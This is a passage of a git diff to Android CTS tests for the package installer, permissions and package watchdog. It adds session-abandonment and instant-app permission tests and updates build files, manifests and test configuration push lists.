+        PollingCheck.check("The result should be empty list",
+                PREVENT_RACE_CONDITION_TIMEOUT_SECONDS,
+                () -> getAllChildSessions(childSessionIds).isEmpty());
+    }
+
+    @Test
+    public void abandon_stagedParentSession_openedChildSession_getNamesShouldReturnEmptyList()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1).setStaged().createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final int firstChildSession = childSessionIds[0];
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        final PackageInstaller.Session childSession = openSession(firstChildSession);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        // TODO(b/171774482): the inconsistent behavior between staged and non-staged child session
+        // The child session is cleaned up asynchronously after abandoning the parent session.
+        PollingCheck.check("The result should be empty list",
+                PREVENT_RACE_CONDITION_TIMEOUT_SECONDS, () -> {
+                    final String[] names;
+                    try {
+                        names = childSession.getNames();
+                    } catch (IOException e) {
+                        return false;
+                    }
+                    return names != null && names.length == 0;
+                });
+    }
+
+    @Test
+    public void abandon_nonStagedParentSession_openedChildSession_canNotGetNames()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1).createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final int firstChildSession = childSessionIds[0];
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        final PackageInstaller.Session childSession = openSession(firstChildSession);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        // The child session is cleaned up asynchronously after abandoning the parent session.
+        PollingCheck.check("getNames should get the security exception",
+                PREVENT_RACE_CONDITION_TIMEOUT_SECONDS, () -> {
+                    try {
+                        childSession.getNames();
+                    } catch (SecurityException e) {
+                        if (e.getMessage().contains("getNames")) {
+                            return true;
+                        }
+                    } catch (IOException e) {
+                        return false;
+                    }
+                    return false;
+                });
+    }
+
+    @Test
+    public void abandon_stagedParentSession_openChildSessionForWriting_shouldFail()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1).setStaged().createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final int firstChildSession = childSessionIds[0];
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+        final OutputStream outputStream = openSessionForWrite(firstChildSession,
+                mTestName.getMethodName());
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(IOException.class,
+                hasMessageThat(containsString("write failed"))),
+                () -> outputStream.write(PLACE_HOLDER_STRING_BYTES));
+    }
+
+    @Test
+    public void abandon_nonStagedParentSession_openChildSessionForWriting_shouldFail()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1).createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final int firstChildSession = childSessionIds[0];
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+        final OutputStream outputStream =
+                openSessionForWrite(firstChildSession, mTestName.getMethodName());
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(IOException.class,
+                hasMessageThat(containsString("write failed"))),
+                () -> outputStream.write(PLACE_HOLDER_STRING_BYTES));
+    }
+
+    @Test
+    public void abandon_stagedParentSession_childSession_canNotOpenAgain()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1).setStaged().createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final int firstChildSession = childSessionIds[0];
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString(String.valueOf(firstChildSession)))),
+                () -> InstallUtils.getPackageInstaller().openSession(firstChildSession));
+    }
+
+    @Test
+    public void abandon_nonStagedParentSession_childSession_canNotOpenAgain()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1).createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final int firstChildSession = childSessionIds[0];
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString(String.valueOf(firstChildSession)))),
+                () -> InstallUtils.getPackageInstaller().openSession(firstChildSession));
+    }
+}
diff --git a/tests/tests/packageinstaller/emptytestapp/Android.bp b/tests/tests/packageinstaller/emptytestapp/Android.bp
deleted file mode 100644
index b336c87..0000000
--- a/tests/tests/packageinstaller/emptytestapp/Android.bp
+++ /dev/null
@@ -1,31 +0,0 @@
-// Copyright (C) 2017 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "CtsEmptyTestApp",
-    defaults: ["cts_defaults"],
-    sdk_version: "current",
-    min_sdk_version: "23",
-    // tag this module as a cts test artifact
-    test_suites: [
-        "arcts",
-        "cts",
-        "general-tests",
-        "sts",
-    ],
-}
diff --git a/tests/tests/packageinstaller/install/Android.bp b/tests/tests/packageinstaller/install/Android.bp
index 8444e02..fc0bf63 100644
--- a/tests/tests/packageinstaller/install/Android.bp
+++ b/tests/tests/packageinstaller/install/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPackageInstallTestCases",
     sdk_version: "test_current",
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
index 45eb038..32a47c5 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
@@ -61,6 +61,8 @@
 const val TIMEOUT = 60000L
 const val APP_OP_STR = "REQUEST_INSTALL_PACKAGES"
 
+const val INSTALL_INSTANT_APP = 0x00000800
+
 open class PackageInstallerTestBase {
     @get:Rule
     val installDialogStarter = ActivityTestRule(FutureResultActivity::class.java)
@@ -130,10 +132,20 @@
      * Start an installation via a session
      */
     protected fun startInstallationViaSession(): CompletableFuture<Int> {
+        return startInstallationViaSession(0 /* installFlags */)
+    }
+
+    protected fun startInstallationViaSession(installFlags: Int): CompletableFuture<Int> {
         val pi = pm.packageInstaller
 
         // Create session
-        val sessionId = pi.createSession(PackageInstaller.SessionParams(MODE_FULL_INSTALL))
+        val sessionParam = PackageInstaller.SessionParams(MODE_FULL_INSTALL)
+        // Handle additional install flags
+        if (installFlags and INSTALL_INSTANT_APP != 0) {
+            sessionParam.setInstallAsInstantApp(true)
+        }
+
+        val sessionId = pi.createSession(sessionParam)
         val session = pi.openSession(sessionId)!!
 
         // Write data to session
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
index 69096f8..8df0c6b 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
@@ -114,4 +114,22 @@
             setSecureFrp(false)
         }
     }
+
+    /**
+     * Check that can't install Instant App when installer don't have proper permission.
+     */
+    @Test
+    fun confirmInstantInstallationFails() {
+        try {
+            val installation = startInstallationViaSession(INSTALL_INSTANT_APP)
+            clickInstallerUIButton(CANCEL_BUTTON_ID)
+
+            fail("Expected security exception on instant install from non-system app")
+        } catch (expected: SecurityException) {
+            // Expected
+        }
+
+        // Install should never have started
+        assertNotInstalled()
+    }
 }
diff --git a/tests/tests/packageinstaller/install_appop_default/Android.bp b/tests/tests/packageinstaller/install_appop_default/Android.bp
index 7808af1..1c31dcf 100644
--- a/tests/tests/packageinstaller/install_appop_default/Android.bp
+++ b/tests/tests/packageinstaller/install_appop_default/Android.bp
@@ -11,10 +11,6 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPackageInstallAppOpDefaultTestCases",
     sdk_version: "test_current",
diff --git a/tests/tests/packageinstaller/install_appop_denied/Android.bp b/tests/tests/packageinstaller/install_appop_denied/Android.bp
index ee76790..fee4277 100644
--- a/tests/tests/packageinstaller/install_appop_denied/Android.bp
+++ b/tests/tests/packageinstaller/install_appop_denied/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPackageInstallAppOpDeniedTestCases",
     sdk_version: "test_current",
diff --git a/tests/tests/packageinstaller/nopermission/Android.bp b/tests/tests/packageinstaller/nopermission/Android.bp
index 24747d1..b3a57a4 100644
--- a/tests/tests/packageinstaller/nopermission/Android.bp
+++ b/tests/tests/packageinstaller/nopermission/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_static {
     name: "CtsNoPermissionTestCasesBase",
     sdk_version: "test_current",
diff --git a/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt b/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt
index 024d1ad..3923c35 100644
--- a/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt
+++ b/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt
@@ -122,7 +122,7 @@
 
         // Commit session
         val pendingIntent = PendingIntent.getBroadcast(context, 0, Intent(ACTION),
-                PendingIntent.FLAG_UPDATE_CURRENT)
+                PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE)
         session.commit(pendingIntent.intentSender)
     }
 
diff --git a/tests/tests/packageinstaller/nopermission25/Android.bp b/tests/tests/packageinstaller/nopermission25/Android.bp
index 581c9b4..5a1921c 100644
--- a/tests/tests/packageinstaller/nopermission25/Android.bp
+++ b/tests/tests/packageinstaller/nopermission25/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNoPermissionTestCases25",
     sdk_version: "test_current",
diff --git a/tests/tests/packageinstaller/tapjacking/Android.bp b/tests/tests/packageinstaller/tapjacking/Android.bp
index 8035d6d..67a1af6 100644
--- a/tests/tests/packageinstaller/tapjacking/Android.bp
+++ b/tests/tests/packageinstaller/tapjacking/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPackageInstallerTapjackingTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
index a5e2fd3..8c47139 100644
--- a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
@@ -28,7 +28,7 @@
     test_suites: [
         "arcts",
         "cts",
-        "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/OWNERS b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/OWNERS
new file mode 100644
index 0000000..b77d5ed
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/OWNERS
@@ -0,0 +1 @@
+evanseverson@google.com
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/test-apps/emptytestapp/Android.bp b/tests/tests/packageinstaller/test-apps/emptytestapp/Android.bp
new file mode 100644
index 0000000..ec85832
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/emptytestapp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsEmptyTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    min_sdk_version: "23",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "general-tests",
+        "sts",
+    ],
+}
diff --git a/tests/tests/packageinstaller/emptytestapp/AndroidManifest.xml b/tests/tests/packageinstaller/test-apps/emptytestapp/AndroidManifest.xml
similarity index 100%
rename from tests/tests/packageinstaller/emptytestapp/AndroidManifest.xml
rename to tests/tests/packageinstaller/test-apps/emptytestapp/AndroidManifest.xml
diff --git a/tests/tests/packageinstaller/uninstall/Android.bp b/tests/tests/packageinstaller/uninstall/Android.bp
index 537dad7..4ee4b99 100644
--- a/tests/tests/packageinstaller/uninstall/Android.bp
+++ b/tests/tests/packageinstaller/uninstall/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPackageUninstallTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
index 84c2696..a1e2473 100644
--- a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
@@ -122,7 +122,7 @@
             mContext.getPackageManager().getPackageInstaller().uninstall(TEST_PKG_NAME,
                     PendingIntent.getBroadcast(mContext, 1,
                             new Intent(CALLBACK_ACTION),
-                            0).getIntentSender());
+                            PendingIntent.FLAG_MUTABLE).getIntentSender());
         });
 
         int status = statusFuture.join();
diff --git a/tests/tests/packagewatchdog/Android.bp b/tests/tests/packagewatchdog/Android.bp
index 53e5efb..d9b0fb5 100644
--- a/tests/tests/packagewatchdog/Android.bp
+++ b/tests/tests/packagewatchdog/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPackageWatchdogTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/packagewatchdog/TEST_MAPPING b/tests/tests/packagewatchdog/TEST_MAPPING
new file mode 100644
index 0000000..17e84ff
--- /dev/null
+++ b/tests/tests/packagewatchdog/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsPackageWatchdogTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index 06b02c6..c9d2b47 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -13,10 +13,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 //
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPermissionTestCases",
     defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
         "cts",
         "general-tests",
         "sts",
+        "mts-permission",
     ],
     // Include both the 32 and 64 bit versions
     compile_multilib: "both",
@@ -37,9 +34,14 @@
         "androidx.annotation_annotation",
         "platformprotosnano",
         "permission-test-util-lib",
+        "nativetesthelper",
+        // TODO(b/175251166): remove once Android migrates to JUnit 4.12,
+        // which provides assertThrows
+        "testng",
     ],
     jni_libs: [
         "libctspermission_jni",
+        "libpermissionmanager_native_test",
         "libnativehelper_compat_libc++",
     ],
     srcs: [
diff --git a/tests/tests/permission/AndroidManifest.xml b/tests/tests/permission/AndroidManifest.xml
index 4169ca2..e559076 100644
--- a/tests/tests/permission/AndroidManifest.xml
+++ b/tests/tests/permission/AndroidManifest.xml
@@ -16,42 +16,44 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission.cts" android:targetSandboxVersion="2">
+     package="android.permission.cts"
+     android:targetSandboxVersion="2">
 
     <!-- for android.permission.cts.PermissionGroupChange -->
     <permission android:name="android.permission.cts.B"
-                android:protectionLevel="dangerous"
-                android:label="@string/perm_b"
-                android:permissionGroup="android.permission.cts.groupB"
-                android:description="@string/perm_b" />
+         android:protectionLevel="dangerous"
+         android:label="@string/perm_b"
+         android:permissionGroup="android.permission.cts.groupB"
+         android:description="@string/perm_b"/>
 
     <!-- for android.permission.cts.PermissionGroupChange -->
     <permission android:name="android.permission.cts.C"
-                android:protectionLevel="dangerous"
-                android:label="@string/perm_c"
-                android:permissionGroup="android.permission.cts.groupC"
-                android:description="@string/perm_c" />
+         android:protectionLevel="dangerous"
+         android:label="@string/perm_c"
+         android:permissionGroup="android.permission.cts.groupC"
+         android:description="@string/perm_c"/>
 
     <!-- for android.permission.cts.LocationAccessCheckTest -->
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
 
     <!-- for android.permission.cts.PermissionGroupChange -->
     <permission-group android:description="@string/perm_group_b"
-                      android:label="@string/perm_group_b"
-                      android:name="android.permission.cts.groupB" />
+         android:label="@string/perm_group_b"
+         android:name="android.permission.cts.groupB"/>
 
     <!-- for android.permission.cts.PermissionGroupChange -->
     <permission-group android:description="@string/perm_group_c"
-                      android:label="@string/perm_group_c"
-                      android:name="android.permission.cts.groupC" />
+         android:label="@string/perm_group_c"
+         android:name="android.permission.cts.groupC"/>
 
-    <uses-permission android:name="android.permission.INJECT_EVENTS" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.INJECT_EVENTS"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.permission.cts.PermissionStubActivity"
-                  android:label="PermissionStubActivity">
+             android:label="PermissionStubActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
@@ -59,30 +61,29 @@
         </activity>
 
         <service android:name=".NotificationListener"
-                 android:exported="true"
-                 android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+             android:exported="true"
+             android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
             <intent-filter>
-                <action android:name="android.service.notification.NotificationListenerService" />
+                <action android:name="android.service.notification.NotificationListenerService"/>
             </intent-filter>
         </service>
     </application>
 
     <!--
-        The CTS stubs package cannot be used as the target application here,
-        since that requires many permissions to be set. Instead, specify this
-        package itself as the target and include any stub activities needed.
+                The CTS stubs package cannot be used as the target application here,
+                since that requires many permissions to be set. Instead, specify this
+                package itself as the target and include any stub activities needed.
 
-        This test package uses the default InstrumentationTestRunner, because
-        the InstrumentationCtsTestRunner is only available in the stubs
-        package. That runner cannot be added to this package either, since it
-        relies on hidden APIs.
-    -->
+                This test package uses the default InstrumentationTestRunner, because
+                the InstrumentationCtsTestRunner is only available in the stubs
+                package. That runner cannot be added to this package either, since it
+                relies on hidden APIs.
+            -->
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.permission.cts"
-                     android:label="CTS tests of android.permission">
+         android:targetPackage="android.permission.cts"
+         android:label="CTS tests of android.permission">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index ef2a09f..e67d8f6 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
     <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
 
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
@@ -47,6 +48,7 @@
         <option name="push" value="CtsAppThatRequestsLocationPermission22.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationPermission22.apk" />
         <option name="push" value="CtsAppThatRequestsStoragePermission29.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsStoragePermission29.apk" />
         <option name="push" value="CtsAppThatRequestsStoragePermission28.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsStoragePermission28.apk" />
+        <option name="push" value="CtsAppThatRequestsLocationAndBackgroundPermission28.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationAndBackgroundPermission28.apk" />
         <option name="push" value="CtsAppThatRequestsLocationAndBackgroundPermission29.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationAndBackgroundPermission29.apk" />
         <option name="push" value="CtsAppThatAccessesLocationOnCommand.apk->/data/local/tmp/cts/permissions/CtsAppThatAccessesLocationOnCommand.apk" />
         <option name="push" value="AppThatDoesNotHaveBgLocationAccess.apk->/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk" />
@@ -66,6 +68,17 @@
         <option name="push" value="CtsInstallPermissionEscalatorApp.apk->/data/local/tmp/cts/permissions/CtsInstallPermissionEscalatorApp.apk" />
         <option name="push" value="CtsAppThatRequestsOneTimePermission.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsOneTimePermission.apk" />
         <option name="push" value="AppThatDefinesUndefinedPermissionGroupElement.apk->/data/local/tmp/cts/permissions/AppThatDefinesUndefinedPermissionGroupElement.apk" />
+        <option name="push" value="CtsAppThatDefinesPermissionA.apk->/data/local/tmp/cts/permissions/CtsAppThatDefinesPermissionA.apk" />
+        <option name="push" value="CtsAppThatAlsoDefinesPermissionA.apk->/data/local/tmp/cts/permissions/CtsAppThatAlsoDefinesPermissionA.apk" />
+        <option name="push" value="CtsAppThatAlsoDefinesPermissionADifferentCert.apk->/data/local/tmp/cts/permissions/CtsAppThatAlsoDefinesPermissionADifferentCert.apk" />
+        <option name="push" value="CtsAppThatAlsoDefinesPermissionGroupADifferentCert.apk->/data/local/tmp/cts/permissions/CtsAppThatAlsoDefinesPermissionGroupADifferentCert.apk" />
+        <option name="push" value="CtsAppThatDefinesPermissionInPlatformGroup.apk->/data/local/tmp/cts/permissions/CtsAppThatDefinesPermissionInPlatformGroup.apk" />
+        <option name="push" value="CtsAppThatAlsoDefinesPermissionGroupADifferentCert30.apk->/data/local/tmp/cts/permissions/CtsAppThatAlsoDefinesPermissionGroupADifferentCert30.apk" />
+        <option name="push" value="CtsAppThatDefinesPermissionWithInvalidGroup.apk->/data/local/tmp/cts/permissions/CtsAppThatDefinesPermissionWithInvalidGroup.apk" />
+        <option name="push" value="CtsAppThatDefinesPermissionWithInvalidGroup30.apk->/data/local/tmp/cts/permissions/CtsAppThatDefinesPermissionWithInvalidGroup30.apk" />
+        <option name="push" value="CtsStorageEscalationApp28.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp28.apk" />
+        <option name="push" value="CtsStorageEscalationApp29Full.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp29Full.apk" />
+        <option name="push" value="CtsStorageEscalationApp29Scoped.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp29Scoped.apk" />
     </target_preparer>
 
     <!-- Remove additional apps if installed -->
diff --git a/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp b/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
index 168a20b..e22bcc9 100644
--- a/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
+++ b/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatRequestsCalendarContactsBodySensorCustomPermission",
     defaults: ["cts_defaults"],
@@ -26,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
index ca372c6..8cc955e 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatAccessesLocationOnCommand",
     defaults: ["cts_defaults"],
@@ -27,6 +23,7 @@
         "cts",
         "general-tests",
         "sts",
+        "mts",
     ],
     srcs: [
         "src/**/*.java",
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/AndroidManifest.xml b/tests/tests/permission/AppThatAccessesLocationOnCommand/AndroidManifest.xml
index e735330..5162a7c 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/AndroidManifest.xml
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/AndroidManifest.xml
@@ -16,18 +16,18 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission.cts.appthataccesseslocation"
-    android:versionCode="1">
+     package="android.permission.cts.appthataccesseslocation"
+     android:versionCode="1">
 
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
 
     <application android:label="CtsLocationAccess">
-        <service android:name=".AccessLocationOnCommand">
+        <service android:name=".AccessLocationOnCommand"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.permission.cts.accesslocation" />
+                <action android:name="android.permission.cts.accesslocation"/>
             </intent-filter>
         </service>
     </application>
 </manifest>
-
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
index b248f3c..75f4a0c 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
@@ -25,40 +25,34 @@
 import android.location.LocationListener;
 import android.location.LocationManager;
 import android.os.Bundle;
-import android.os.Handler;
 import android.os.IBinder;
 import android.os.Looper;
 
 public class AccessLocationOnCommand extends Service {
-    // Longer than the STATE_SETTLE_TIME in AppOpsManager
-    private static final long BACKGROUND_ACCESS_SETTLE_TIME = 11000;
-
     private IAccessLocationOnCommand.Stub mBinder = new IAccessLocationOnCommand.Stub() {
         public void accessLocation() {
